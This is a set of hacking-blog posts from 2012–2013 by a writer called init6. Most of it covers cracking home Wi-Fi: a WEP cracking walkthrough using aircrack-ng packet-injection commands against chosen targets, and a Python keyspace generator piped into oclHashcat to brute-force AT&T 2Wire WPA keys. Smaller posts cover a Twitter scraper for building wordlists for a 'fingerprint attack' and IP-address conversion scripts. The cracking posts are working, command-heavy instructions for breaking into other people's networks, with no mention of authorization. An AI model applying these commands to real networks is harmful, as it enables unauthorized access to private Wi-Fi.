TwatScrape

Thursday, January 17, 2013 Posted by Unknown 0 comments
Made a python script to search twitter based on keywords, hashtags, from:user, and to:user.  It then creates a unique word list based on these searches. Used as a fingerprint attack.

https://github.com/initiate6/twatScrape.py


GITHUB

Monday, January 7, 2013 Posted by Unknown 0 comments
I decided it would be a good idea to start a GitHub to hold all my scripts.

https://github.com/initiate6


Labels:

Python Script: IP Address to 10digit decimal to IP address

Friday, November 30, 2012 Posted by Unknown 1 comments
When hacking android apps I learned today that you can convert a IP address into a 10digit decimal number. This number is still valid in any web browser. I wrote two python programs to go both ways ;)

Used http://www.iowight.com/iwindex/decimal.php3 for the math.

From 10digit decimal to ip address:


#convert 10digit decimal formated ipaddress to normal ipaddress
#by init6
#blog.init6.me

import sys

def main():
    #read file and convert each line to ip address. Comment out to ask for input.
    with open('c:\ipaddress.txt', 'r') as infile:
        for line in infile:
            print (convert(int(line)))
    infile.close()

    #ask for input (dec format) Uncomment to ask for input.
    #decIn = input("Enter 10 digit decimal formated ipaddress: ")
    
def convert(decIn):

    if is32(decIn) == True:
        #convert dec to hex
        fullHex = hex(decIn).lstrip("0x")

        #Split hex number into four pairs
        hex1 = fullHex[0:2]
        hex2 = fullHex[2:4]
        hex3 = fullHex[4:6]
        hex4 = fullHex[6:8]
        #Convert each hex to decimal then to a string and return ip address.
        ipAddr = ( str(int(hex1,16)) + '.' + str(int(hex2,16)) + '.' + str(int(hex3,16)) + '.' + str(int(hex4,16)) )
        return ipAddr
    
#Checks to see if input is a 32bit int or less to make sure its a vaild ip address.         
def is32(n):
    try:
        bitstring=bin(n)
    except (TypeError, ValuueError):
        return False

    if len(bin(n)[2:]) <= 32:
        return True
    else:
        print ("Not a vaild 32bit 10 digit decimal")
        return False
    
main()


From IP Address to 10 digit decimal.


#convert ip address to a 10digit decimal formated ipaddress.
#by init6
#blog.init6.me

import sys

def main():
    ipAddr = raw_input("Type in IP Address to convert to 10digit decimal: ")
    print ( convert(ipAddr) )

def convert(ipAddr):
    out = ipAddr.split('.')
    octets = [int(out[0]), int(out[1]), int(out[2]), int(out[3])]
    hexNum = '{:02X}{:02X}{:02X}{:02X}'.format(*octets)
    return int(hexNum, 16)

main()
Labels: , ,

UPDATE: CMYIP

Thursday, November 29, 2012 Posted by Unknown 0 comments
cmyip.com changed the way they encoded the numbers so I could no longer pull the ip address directly from the source code. Instead of trying to decode the htmlnumbers to ascii not only because its hard but they have it setup to change the encoding. So now, Grab the source code and feed it through w3m browser and dump it back out to the terminal then grep the IP Address.

http://pastie.org/5454850


#!/bin/bash
ip_addr=`curl -s http://cmyip.com | w3m -T text/html -dump | grep -o -E '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'`
echo $ip_addr
Labels:

UPDATE: Cracking 2WIRE WPA1/2

Tuesday, October 23, 2012 Posted by Unknown 0 comments

My previous post had a few problems with the script. Then I had updated the script to work properly. http://pastie.org/5101804  However, it was still way to slow. Asked around and found the following solution.  

http://pastie.org/5104479



#Python 3
#Name: 2wire.py
#by: INIT_6
#Count from 0000000000 - 9999999999 skipping any numbers that repeat them selfs more then 3 times like 333

import sys
from threading import Thread

def count1(first, ver):
    MAX_INT = 999000000
    BAD_PATTERNS = {x * 3 for x in '0123456789'}
    # Use xrange for Python 2.7
    for number in range(MAX_INT):
        int_string = str(number).rjust(9, '0')
        if any(pattern in int_string for pattern in BAD_PATTERNS):
            continue
        print ( str(first) + str(number).rjust(9, '0') )

if __name__ == '__main__':
    for x in '0123456789':
        try:
            Thread(target=count1, args=(x,1)).start()
    
        except: # Exception, errtxt:
           print ( errtxt )


Still have some work. I need to test the threading better and set up a queue so it will only start as many threads as the computer can handle.

My Method for cracking WEP

Friday, October 19, 2012 Posted by Unknown 0 comments

There are 100's if not 1000's of guides out there on how to crack WEP. This will mostly be a quick and dirty reference guide for a few friends trying to crack WEP them self's.

Aircrack-ng's guide to cracking WEP

Download and boot off of backtrack 5 r3 To install it on a flash drive use linux/windows tool YUMI

First you want to see what kind of wifi connection you have to choose from. Start your wireless interface in monitor mode.

#airmon-zc start wlan0 
#airodump-ng --encrypt wep mon0

You should see several AP. Record the BSSID, ESSID, and Channel along with any associated clients shown at the bottom of airodump-ng.

Once you find a couple targets on the same channel. You need to close airodump and stop airmon

#airmon-zc stop mon0 

Start airmon-zc on the channel of the target. (with WEP its not as necessary to lock the channel in on the driver as you have to with WPA)

#airmon-zc start wlan0 <Channel Number>

Then start airodump on the same channel along with some other options.

#airodump-ng mon0 --encrypt wep --ivs --write <FILENAME> --output-format pcap -a --channel <Channel number>


Now you need to inject packets. This will send packets to the access point as the other associated client generating your golden IVS you need to crack the WEP. 

#aireplay-ng mon0 -1 0 -e "essid" -a <access point MAC address> -h <MAC address of an associated client> 

If the above isn't generating any IVs you might need to tweak your command line. 

#aireplay-ng mon0 -1 <a number between 30-6000> -o <a number between 1-30> -q 10 -e "essid" -a <access point MAC address> -h <MAC address of an associated client> 



Success looks like: (Stole this output from http://www.aircrack-ng.org)
18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.
Here is an example of what a failed authentication looks like:
8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request


You can also do a ARP request replay attack. Either at the same time or in lieu of the above attack. 

#aireplay-ng mon0 -3 -b <MAC address of Access point> -h <MAC address of associated client>


Here is what the screen looks like when ARP requests are being injected:
 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...


Now to crack the IV's you have obtain. There are a lot of different options at this point. For example. AT&T U-verse default wep is only numbers. Verizon FIOS wep is 0-9A-F. Doing home work on the default SSID might lead to a quicker crack.


Static WEP cracking options:
-c     Search alpha-numeric characters only.

-t      Search binary coded decimal characters only.

-n <nbits>
Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128.

-f <fudge>
By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success.

-k <korek>
There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, ... -k 17 to disable each attack selectively.


#aircrack-ng <any static WEP cracking options above> <filename>.cap

It will ask you to select your network you want to crack and show how many IV's it currently has. 

I only use the -f 1 option to get keys that are to easy and are thought to be false positives i.e. 123456789 or 111111111 

and remember a few quick google searches on the SSID (if its a default SSID) can save you a lot of time. 

Side note: if you run:

#iwconfig wlan0

And your power isn't set correctly to your gear you can change this by.

#iwconfig wlan0 twpower <dbi>


This is not a complete guide of everything you can do. Its just what I do and have a high success rate. if you have any questions feel free to drop me a e-mail/Gtalk at init6@init6.me 

Labels: , ,

Part 2. Cracking AT&T WPA1/2

Monday, September 24, 2012 Posted by Unknown 0 comments

Part 2. Cracking AT&T WPA1/2 with python script and hashcat.

Once you get the four way handshake from part 1.

My python script can be found here. It creates a CPU pool based on how many cores you have. Based on python 2.7.3 and Linux OS.

What the script does is count from 000000000 to 9999999999 skipping any number that has three repeating numbers in a row.  so you wont have keys like 1234555678 because it repeats 5 three times. This is because AT&T decided to make their numbers to random cutting their key space down. Its faster to count through and skip past repeating numbers then to process each number.

To change what the programs start on open it and change the following line to whatever you want:

start = str(7)

To run the program pipe it to hashcat-plus.

python 2wireWPAiter.py | ./oclHashcat-plus64.bin -m 2500 -a 0 --gpu-accel=160 --gpu-loops=1024 ../dir/2WIREHandShake.hccap


With a AMD driver 12.8 and SDK 2.7 I get about 86K keys  per second. With the built in brute-force I get 114K keys per second. Still working on how to improve my out put speed. 

To get more info on hashcat look here.

straight brute force on known key starting with 7 saved over an hour.

Screen shots.. With script                without script 


Someone in the hashcat room just told me a better way of doing this to make it even faster and more accurate. using http://hashcat.net/wiki/doku.php?id=statsprocessor making a hcstat file. Utilizing Markov chains. I will do this later tonight and post my results.

Edit: you can't use Markov chains with hashcat for this. 
Labels: , , , ,